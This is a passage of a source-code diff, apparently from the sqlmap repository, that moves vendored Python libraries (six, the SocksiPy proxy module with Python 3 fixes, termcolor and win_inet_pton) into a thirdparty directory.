MovedAttribute("BaseHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), + MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), + MovedAttribute("FileHandler", "urllib2", "urllib.request"), + MovedAttribute("FTPHandler", "urllib2", "urllib.request"), + MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), + MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), + MovedAttribute("urlretrieve", "urllib", "urllib.request"), + MovedAttribute("urlcleanup", "urllib", "urllib.request"), + MovedAttribute("proxy_bypass", "urllib", "urllib.request"), + MovedAttribute("parse_http_list", "urllib2", "urllib.request"), + MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), +] +if sys.version_info[:2] < (3, 14): + _urllib_request_moved_attributes.extend( + [ + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + ] + ) +for attr in _urllib_request_moved_attributes: + setattr(Module_six_moves_urllib_request, attr.name, attr) +del attr + +Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes + +_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), + "moves.urllib_request", "moves.urllib.request") + + +class Module_six_moves_urllib_response(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_response""" + + +_urllib_response_moved_attributes = [ + MovedAttribute("addbase", "urllib", "urllib.response"), + MovedAttribute("addclosehook", "urllib", "urllib.response"), + MovedAttribute("addinfo", "urllib", "urllib.response"), + MovedAttribute("addinfourl", "urllib", "urllib.response"), +] +for attr in _urllib_response_moved_attributes: + setattr(Module_six_moves_urllib_response, attr.name, attr) +del attr + +Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes + +_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), + "moves.urllib_response", "moves.urllib.response") + + +class Module_six_moves_urllib_robotparser(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_robotparser""" + + +_urllib_robotparser_moved_attributes = [ + MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), +] +for attr in _urllib_robotparser_moved_attributes: + setattr(Module_six_moves_urllib_robotparser, attr.name, attr) +del attr + +Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes + +_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), + "moves.urllib_robotparser", "moves.urllib.robotparser") + + +class Module_six_moves_urllib(types.ModuleType): + + """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" + __path__ = [] # mark as package + parse = _importer._get_module("moves.urllib_parse") + error = _importer._get_module("moves.urllib_error") + request = _importer._get_module("moves.urllib_request") + response = _importer._get_module("moves.urllib_response") + robotparser = _importer._get_module("moves.urllib_robotparser") + + def __dir__(self): + return ['parse', 'error', 'request', 'response', 'robotparser'] + +_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), + "moves.urllib") + + +def add_move(move): + """Add an item to six.moves.""" + setattr(_MovedItems, move.name, move) + + +def remove_move(name): + """Remove item from six.moves.""" + try: + delattr(_MovedItems, name) + except AttributeError: + try: + del moves.__dict__[name] + except KeyError: + raise AttributeError("no such move, %r" % (name,)) + + +if PY3: + _meth_func = "__func__" + _meth_self = "__self__" + + _func_closure = "__closure__" + _func_code = "__code__" + _func_defaults = "__defaults__" + _func_globals = "__globals__" +else: + _meth_func = "im_func" + _meth_self = "im_self" + + _func_closure = "func_closure" + _func_code = "func_code" + _func_defaults = "func_defaults" + _func_globals = "func_globals" + + +try: + advance_iterator = next +except NameError: + def advance_iterator(it): + return it.next() +next = advance_iterator + + +try: + callable = callable +except NameError: + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +if PY3: + def get_unbound_function(unbound): + return unbound + + create_bound_method = types.MethodType + + def create_unbound_method(func, cls): + return func + + Iterator = object +else: + def get_unbound_function(unbound): + return unbound.im_func + + def create_bound_method(func, obj): + return types.MethodType(func, obj, obj.__class__) + + def create_unbound_method(func, cls): + return types.MethodType(func, None, cls) + + class Iterator(object): + + def next(self): + return type(self).__next__(self) + + callable = callable +_add_doc(get_unbound_function, + """Get the function out of a possibly unbound function""") + + +get_method_function = operator.attrgetter(_meth_func) +get_method_self = operator.attrgetter(_meth_self) +get_function_closure = operator.attrgetter(_func_closure) +get_function_code = operator.attrgetter(_func_code) +get_function_defaults = operator.attrgetter(_func_defaults) +get_function_globals = operator.attrgetter(_func_globals) + + +if PY3: + def iterkeys(d, **kw): + return iter(d.keys(**kw)) + + def itervalues(d, **kw): + return iter(d.values(**kw)) + + def iteritems(d, **kw): + return iter(d.items(**kw)) + + def iterlists(d, **kw): + return iter(d.lists(**kw)) + + viewkeys = operator.methodcaller("keys") + + viewvalues = operator.methodcaller("values") + + viewitems = operator.methodcaller("items") +else: + def iterkeys(d, **kw): + return d.iterkeys(**kw) + + def itervalues(d, **kw): + return d.itervalues(**kw) + + def iteritems(d, **kw): + return d.iteritems(**kw) + + def iterlists(d, **kw): + return d.iterlists(**kw) + + viewkeys = operator.methodcaller("viewkeys") + + viewvalues = operator.methodcaller("viewvalues") + + viewitems = operator.methodcaller("viewitems") + +_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") +_add_doc(itervalues, "Return an iterator over the values of a dictionary.") +_add_doc(iteritems, + "Return an iterator over the (key, value) pairs of a dictionary.") +_add_doc(iterlists, + "Return an iterator over the (key, [values]) pairs of a dictionary.") + + +if PY3: + def b(s): + return s.encode("latin-1") + + def u(s): + return s + unichr = chr + import struct + int2byte = struct.Struct(">B").pack + del struct + byte2int = operator.itemgetter(0) + indexbytes = operator.getitem + iterbytes = iter + import io + StringIO = io.StringIO + BytesIO = io.BytesIO + del io + _assertCountEqual = "assertCountEqual" + if sys.version_info[1] <= 1: + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" + else: + _assertRaisesRegex = "assertRaisesRegex" + _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" +else: + def b(s): + return s + # Workaround for standalone backslash + + def u(s): + return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") + unichr = unichr + int2byte = chr + + def byte2int(bs): + return ord(bs[0]) + + def indexbytes(buf, i): + return ord(buf[i]) + iterbytes = functools.partial(itertools.imap, ord) + import StringIO + StringIO = BytesIO = StringIO.StringIO + _assertCountEqual = "assertItemsEqual" + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" +_add_doc(b, """Byte literal""") +_add_doc(u, """Text literal""") + + +def assertCountEqual(self, *args, **kwargs): + return getattr(self, _assertCountEqual)(*args, **kwargs) + + +def assertRaisesRegex(self, *args, **kwargs): + return getattr(self, _assertRaisesRegex)(*args, **kwargs) + + +def assertRegex(self, *args, **kwargs): + return getattr(self, _assertRegex)(*args, **kwargs) + + +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + +if PY3: + exec_ = getattr(moves.builtins, "exec") + + def reraise(tp, value, tb=None): + try: + if value is None: + value = tp() + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + finally: + value = None + tb = None + +else: + def exec_(_code_, _globs_=None, _locs_=None): + """Execute code in a namespace.""" + if _globs_ is None: + frame = sys._getframe(1) + _globs_ = frame.f_globals + if _locs_ is None: + _locs_ = frame.f_locals + del frame + elif _locs_ is None: + _locs_ = _globs_ + exec("""exec _code_ in _globs_, _locs_""") + + exec_("""def reraise(tp, value, tb=None): + try: + raise tp, value, tb + finally: + tb = None +""") + + +if sys.version_info[:2] > (3,): + exec_("""def raise_from(value, from_value): + try: + raise value from from_value + finally: + value = None +""") +else: + def raise_from(value, from_value): + raise value + + +print_ = getattr(moves.builtins, "print", None) +if print_ is None: + def print_(*args, **kwargs): + """The new-style print function for Python 2.4 and 2.5.""" + fp = kwargs.pop("file", sys.stdout) + if fp is None: + return + + def write(data): + if not isinstance(data, basestring): + data = str(data) + # If the file has an encoding, encode unicode with it. + if (isinstance(fp, file) and + isinstance(data, unicode) and + fp.encoding is not None): + errors = getattr(fp, "errors", None) + if errors is None: + errors = "strict" + data = data.encode(fp.encoding, errors) + fp.write(data) + want_unicode = False + sep = kwargs.pop("sep", None) + if sep is not None: + if isinstance(sep, unicode): + want_unicode = True + elif not isinstance(sep, str): + raise TypeError("sep must be None or a string") + end = kwargs.pop("end", None) + if end is not None: + if isinstance(end, unicode): + want_unicode = True + elif not isinstance(end, str): + raise TypeError("end must be None or a string") + if kwargs: + raise TypeError("invalid keyword arguments to print()") + if not want_unicode: + for arg in args: + if isinstance(arg, unicode): + want_unicode = True + break + if want_unicode: + newline = unicode("\n") + space = unicode(" ") + else: + newline = "\n" + space = " " + if sep is None: + sep = space + if end is None: + end = newline + for i, arg in enumerate(args): + if i: + write(sep) + write(arg) + write(end) +if sys.version_info[:2] < (3, 3): + _print = print_ + + def print_(*args, **kwargs): + fp = kwargs.get("file", sys.stdout) + flush = kwargs.pop("flush", False) + _print(*args, **kwargs) + if flush and fp is not None: + fp.flush() + +_add_doc(reraise, """Reraise an exception.""") + +if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + +else: + wraps = functools.wraps + + +def with_metaclass(meta, *bases): + """Create a base class with a metaclass.""" + # This requires a bit of explanation: the basic idea is to make a dummy + # metaclass for one level of class instantiation that replaces itself with + # the actual metaclass. + class metaclass(type): + + def __new__(cls, name, this_bases, d): + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) + + @classmethod + def __prepare__(cls, name, this_bases): + return meta.__prepare__(name, bases) + return type.__new__(metaclass, 'temporary_class', (), {}) + + +def add_metaclass(metaclass): + """Class decorator for creating a class with a metaclass.""" + def wrapper(cls): + orig_vars = cls.__dict__.copy() + slots = orig_vars.get('__slots__') + if slots is not None: + if isinstance(slots, str): + slots = [slots] + for slots_var in slots: + orig_vars.pop(slots_var) + orig_vars.pop('__dict__', None) + orig_vars.pop('__weakref__', None) + if hasattr(cls, '__qualname__'): + orig_vars['__qualname__'] = cls.__qualname__ + return metaclass(cls.__name__, cls.__bases__, orig_vars) + return wrapper + + +def ensure_binary(s, encoding='utf-8', errors='strict'): + """Coerce **s** to six.binary_type. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> encoded to `bytes` + - `bytes` -> `bytes` + """ + if isinstance(s, binary_type): + return s + if isinstance(s, text_type): + return s.encode(encoding, errors) + raise TypeError("not expecting type '%s'" % type(s)) + + +def ensure_str(s, encoding='utf-8', errors='strict'): + """Coerce *s* to `str`. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + # Optimization: Fast return for the common case. + if type(s) is str: + return s + if PY2 and isinstance(s, text_type): + return s.encode(encoding, errors) + elif PY3 and isinstance(s, binary_type): + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) + return s + + +def ensure_text(s, encoding='utf-8', errors='strict'): + """Coerce *s* to six.text_type. + + For Python 2: + - `unicode` -> `unicode` + - `str` -> `unicode` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + if isinstance(s, binary_type): + return s.decode(encoding, errors) + elif isinstance(s, text_type): + return s + else: + raise TypeError("not expecting type '%s'" % type(s)) + + +def python_2_unicode_compatible(klass): + """ + A class decorator that defines __unicode__ and __str__ methods under Python 2. + Under Python 3 it does nothing. + + To support Python 2 and 3 with a single code base, define a __str__ method + returning text and apply this decorator to the class. + """ + if PY2: + if '__str__' not in klass.__dict__: + raise ValueError("@python_2_unicode_compatible cannot be applied " + "to %s because it doesn't define __str__()." % + klass.__name__) + klass.__unicode__ = klass.__str__ + klass.__str__ = lambda self: self.__unicode__().encode('utf-8') + return klass + + +# Complete the moves implementation. +# This code is at the end of this module to speed up module loading. +# Turn this module into a package. +__path__ = [] # required for PEP 302 and PEP 451 +__package__ = __name__ # see PEP 366 @ReservedAssignment +if globals().get("__spec__") is not None: + __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable +# Remove other six meta path importers, since they cause problems. This can +# happen if six is removed from sys.modules and then reloaded. (Setuptools does +# this for some reason.) +if sys.meta_path: + for i, importer in enumerate(sys.meta_path): + # Here's some real nastiness: Another "instance" of the six module might + # be floating around. Therefore, we can't use isinstance() to check for + # the six meta path importer, since the other six instance will have + # inserted an importer with different class. + if (type(importer).__name__ == "_SixMetaPathImporter" and + importer.name == __name__): + del sys.meta_path[i] + break + del i, importer +# Finally, add the importer to the meta path import hook. +sys.meta_path.append(_importer) diff --git a/extra/socks/LICENSE b/thirdparty/socks/LICENSE similarity index 98% rename from extra/socks/LICENSE rename to thirdparty/socks/LICENSE index fc3307870e2..04b6b1f37c4 100644 --- a/extra/socks/LICENSE +++ b/thirdparty/socks/LICENSE @@ -1,22 +1,22 @@ -Copyright 2006 Dan-Haim. All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of Dan Haim nor the names of his contributors may be used - to endorse or promote products derived from this software without specific - prior written permission. - -THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA -OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT -OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. +Copyright 2006 Dan-Haim. All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +3. Neither the name of Dan Haim nor the names of his contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO +EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA +OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. diff --git a/thirdparty/socks/__init__.py b/thirdparty/socks/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/extra/socks/socks.py b/thirdparty/socks/socks.py similarity index 88% rename from extra/socks/socks.py rename to thirdparty/socks/socks.py index 1e1d1a88470..065f90e0869 100644 --- a/extra/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """SocksiPy - Python SOCKS module. -Version 1.00 +Version 1.01 Copyright 2006 Dan-Haim. All rights reserved. @@ -33,7 +33,7 @@ """ """ -Minor modifications made by Miroslav Stampar (http://www.sqlmap.org/) +Minor modifications made by Miroslav Stampar (https://sqlmap.org) for patching DNS-leakage occuring in socket.create_connection() Minor modifications made by Christopher Gilbert (http://motomastyle.com/) @@ -44,6 +44,7 @@ """ +import functools import socket import struct @@ -52,7 +53,8 @@ PROXY_TYPE_HTTP = 3 _defaultproxy = None -_orgsocket = socket.socket +socket._orig_socket = _orgsocket = _orig_socket = socket.socket +_orgcreateconnection = socket.create_connection class ProxyError(Exception): pass class GeneralProxyError(ProxyError): pass @@ -106,15 +108,40 @@ def wrapmodule(module): This will only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. """ - if _defaultproxy != None: - module.socket.socket = socksocket - module.socket.create_connection = create_connection + if _defaultproxy is not None: + _orig_socket_ctor = _orgsocket + + @functools.wraps(_orig_socket_ctor) + def guarded_socket(*args, **kwargs): + # socket.socket([family[, type[, proto]]]) + family = args[0] if len(args) > 0 else kwargs.get("family", socket.AF_INET) + stype = args[1] if len(args) > 1 else kwargs.get("type", socket.SOCK_STREAM) + + # Normalize socket type by stripping flags (Py3.3+ may OR these in) + flags = 0 + flags |= getattr(socket, "SOCK_CLOEXEC", 0) + flags |= getattr(socket, "SOCK_NONBLOCK", 0) + base_type = stype & ~flags + + if family in (socket.AF_INET, getattr(socket, "AF_INET6", socket.AF_INET)) and base_type == socket.SOCK_STREAM: + return socksocket(*args, **kwargs) + + # Fallback: don't proxy AF_UNIX / raw / etc. + return _orig_socket_ctor(*args, **kwargs) + + module.socket.socket = guarded_socket + + if _defaultproxy[0] == PROXY_TYPE_SOCKS4: + # Note: unable to prevent DNS leakage in SOCKS4 (Reference: https://security.stackexchange.com/a/171280) + pass + else: + module.socket.create_connection = create_connection else: raise GeneralProxyError((4, "no proxy specified")) def unwrapmodule(module): - module.socket.socket = socket.socket - module.socket.create_connection = socket.create_connection + module.socket.socket = _orgsocket + module.socket.create_connection = _orgcreateconnection class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object @@ -180,23 +207,23 @@ def __negotiatesocks5(self, destaddr, destport): # We'll receive the server's response to determine which # method was selected chosenauth = self.__recvall(2) - if chosenauth[0:1] != chr(0x05).encode(): + if chosenauth[0:1] != b'\x05': self.close() raise GeneralProxyError((1, _generalerrors[1])) # Check the chosen authentication method - if chosenauth[1:2] == chr(0x00).encode(): + if chosenauth[1:2] == b'\x00': # No authentication is required pass - elif chosenauth[1:2] == chr(0x02).encode(): + elif chosenauth[1:2] == b'\x02': # Okay, we need to perform a basic username/password # authentication. - self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) + self.sendall(b'\x01' + chr(len(self.__proxy[4])).encode() + self.__proxy[4].encode() + chr(len(self.__proxy[5])).encode() + self.__proxy[5].encode()) authstat = self.__recvall(2) - if authstat[0:1] != chr(0x01).encode(): + if authstat[0:1] != b'\x01': # Bad response self.close() raise GeneralProxyError((1, _generalerrors[1])) - if authstat[1:2] != chr(0x00).encode(): + if authstat[1:2] != b'\x00': # Authentication failed self.close() raise Socks5AuthError((3, _socks5autherrors[3])) @@ -204,7 +231,7 @@ def __negotiatesocks5(self, destaddr, destport): else: # Reaching here is always bad self.close() - if chosenauth[1] == chr(0xFF).encode(): + if chosenauth[1:2] == b'\xff': raise Socks5AuthError((2, _socks5autherrors[2])) else: raise GeneralProxyError((1, _generalerrors[1])) @@ -214,13 +241,13 @@ def __negotiatesocks5(self, destaddr, destport): # use the IPv4 address request even if remote resolving was specified. try: ipaddr = socket.inet_aton(destaddr) - req = req + chr(0x01).encode() + ipaddr + req = req + b'\x01' + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if self.__proxy[3]: # Resolve remotely ipaddr = None - req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr + req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + (destaddr if isinstance(destaddr, bytes) else destaddr.encode()) else: # Resolve locally ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) diff --git a/thirdparty/termcolor/__init__.py b/thirdparty/termcolor/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/thirdparty/termcolor/termcolor.py b/thirdparty/termcolor/termcolor.py new file mode 100644 index 00000000000..ddea6dd59f2 --- /dev/null +++ b/thirdparty/termcolor/termcolor.py @@ -0,0 +1,173 @@ +# coding: utf-8 +# Copyright (c) 2008-2011 Volvox Development Team +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# +# Author: Konstantin Lepa + +"""ANSII Color formatting for output in terminal.""" + +from __future__ import print_function +import os + + +__ALL__ = [ 'colored', 'cprint' ] + +VERSION = (1, 1, 0) + +ATTRIBUTES = dict( + list(zip([ + 'bold', + 'dark', + '', + 'underline', + 'blink', + '', + 'reverse', + 'concealed' + ], + list(range(1, 9)) + )) + ) +del ATTRIBUTES[''] + + +HIGHLIGHTS = dict( + list(zip([ + 'on_grey', + 'on_red', + 'on_green', + 'on_yellow', + 'on_blue', + 'on_magenta', + 'on_cyan', + 'on_white' + ], + list(range(40, 48)) + )) + ) + + +COLORS = dict( + list(zip([ + 'grey', + 'red', + 'green', + 'yellow', + 'blue', + 'magenta', + 'cyan', + 'white', + ], + list(range(30, 38)) + )) + ) + +COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS)) + +# Reference: https://misc.flogisoft.com/bash/tip_colors_and_formatting +COLORS["lightgrey"] = 37 +COLORS["darkgrey"] = 90 + +RESET = '\033[0m' + + +def colored(text, color=None, on_color=None, attrs=None): + """Colorize text. + + Available text colors: + red, green, yellow, blue, magenta, cyan, white. + + Available text highlights: + on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white. + + Available attributes: + bold, dark, underline, blink, reverse, concealed. + + Example: + colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink']) + colored('Hello, World!', 'green') + """ + if os.getenv('ANSI_COLORS_DISABLED') is None: + fmt_str = '\033[%dm%s' + if color is not None: + text = fmt_str % (COLORS[color], text) + + if on_color is not None: + text = fmt_str % (HIGHLIGHTS[on_color], text) + + if attrs is not None: + for attr in attrs: + text = fmt_str % (ATTRIBUTES[attr], text) + + text += RESET + return text + + +def cprint(text, color=None, on_color=None, attrs=None, **kwargs): + """Print colorize text. + + It accepts arguments of print function. + """ + + print((colored(text, color, on_color, attrs)), **kwargs) + + +if __name__ == '__main__': + print('Current terminal type: %s' % os.getenv('TERM')) + print('Test basic colors:') + cprint('Grey color', 'grey') + cprint('Red color', 'red') + cprint('Green color', 'green') + cprint('Yellow color', 'yellow') + cprint('Blue color', 'blue') + cprint('Magenta color', 'magenta') + cprint('Cyan color', 'cyan') + cprint('White color', 'white') + print(('-' * 78)) + + print('Test highlights:') + cprint('On grey color', on_color='on_grey') + cprint('On red color', on_color='on_red') + cprint('On green color', on_color='on_green') + cprint('On yellow color', on_color='on_yellow') + cprint('On blue color', on_color='on_blue') + cprint('On magenta color', on_color='on_magenta') + cprint('On cyan color', on_color='on_cyan') + cprint('On white color', color='grey', on_color='on_white') + print('-' * 78) + + print('Test attributes:') + cprint('Bold grey color', 'grey', attrs=['bold']) + cprint('Dark red color', 'red', attrs=['dark']) + cprint('Underline green color', 'green', attrs=['underline']) + cprint('Blink yellow color', 'yellow', attrs=['blink']) + cprint('Reversed blue color', 'blue', attrs=['reverse']) + cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) + cprint('Bold underline reverse cyan color', 'cyan', + attrs=['bold', 'underline', 'reverse']) + cprint('Dark blink concealed white color', 'white', + attrs=['dark', 'blink', 'concealed']) + print(('-' * 78)) + + print('Test mixing:') + cprint('Underline red on grey color', 'red', 'on_grey', + ['underline']) + cprint('Reversed green on red color', 'green', 'on_red', ['reverse']) + diff --git a/thirdparty/wininetpton/__init__.py b/thirdparty/wininetpton/__init__.py new file mode 100644 index 00000000000..5ea298dc195 --- /dev/null +++ b/thirdparty/wininetpton/__init__.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python +# +# Copyright Ryan Vennell +# +# This software released into the public domain. Anyone is free to copy, +# modify, publish, use, compile, sell, or distribute this software, +# either in source code form or as a compiled binary, for any purpose, +# commercial or non-commercial, and by any means. + +pass diff --git a/thirdparty/wininetpton/win_inet_pton.py b/thirdparty/wininetpton/win_inet_pton.py new file mode 100644 index 00000000000..50ae621e53b --- /dev/null +++ b/thirdparty/wininetpton/win_inet_pton.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python +# This software released into the public domain. Anyone is free to copy, +# modify, publish, use, compile, sell, or distribute this software, +# either in source code form or as a compiled binary, for any purpose, +# commercial or non-commercial, and by any means. + +import socket +import ctypes +import os + + +class sockaddr(ctypes.Structure): + _fields_ = [("sa_family", ctypes.c_short), + ("__pad1", ctypes.c_ushort), + ("ipv4_addr", ctypes.c_byte * 4), + ("ipv6_addr", ctypes.c_byte * 16), + ("__pad2", ctypes.c_ulong)] + +if hasattr(ctypes, 'windll'): + WSAStringToAddressA = ctypes.windll.ws2_32.WSAStringToAddressA + WSAAddressToStringA = ctypes.windll.ws2_32.WSAAddressToStringA +else: + def not_windows(): + raise SystemError( + "Invalid platform. ctypes.windll must be available." + ) + WSAStringToAddressA = not_windows + WSAAddressToStringA = not_windows + + +def inet_pton(address_family, ip_string): + addr = sockaddr() + addr.sa_family = address_family + addr_size = ctypes.c_int(ctypes.sizeof(addr)) + + if WSAStringToAddressA( + ip_string, + address_family, + None, + ctypes.byref(addr), + ctypes.byref(addr_size) + ) != 0: + raise socket.error(ctypes.FormatError()) + + if address_family == socket.AF_INET: + return ctypes.string_at(addr.ipv4_addr, 4) + if address_family == socket.AF_INET6: + return ctypes.string_at(addr.ipv6_addr, 16) + + raise socket.error('unknown address family') + + +def inet_ntop(address_family, packed_ip): + addr = sockaddr() + addr.sa_family = address_family + addr_size = ctypes.c_int(ctypes.sizeof(addr)) + ip_string = ctypes.create_string_buffer(128) + ip_string_size = ctypes.c_int(ctypes.sizeof(ip_string)) + + if address_family == socket.AF_INET: + if len(packed_ip) != ctypes.sizeof(addr.ipv4_addr): + raise socket.error('packed IP wrong length for inet_ntoa') + ctypes.memmove(addr.ipv4_addr, packed_ip, 4) + elif address_family == socket.AF_INET6: + if len(packed_ip) != ctypes.sizeof(addr.ipv6_addr): + raise socket.error('packed IP wrong length for inet_ntoa') + ctypes.memmove(addr.ipv6_addr, packed_ip, 16) + else: + raise socket.error('unknown address family') + + if WSAAddressToStringA( + ctypes.byref(addr), + addr_size, + None, + ip_string, + ctypes.byref(ip_string_size) + ) != 0: + raise socket.error(ctypes.FormatError()) + + return ip_string[:ip_string_size.value - 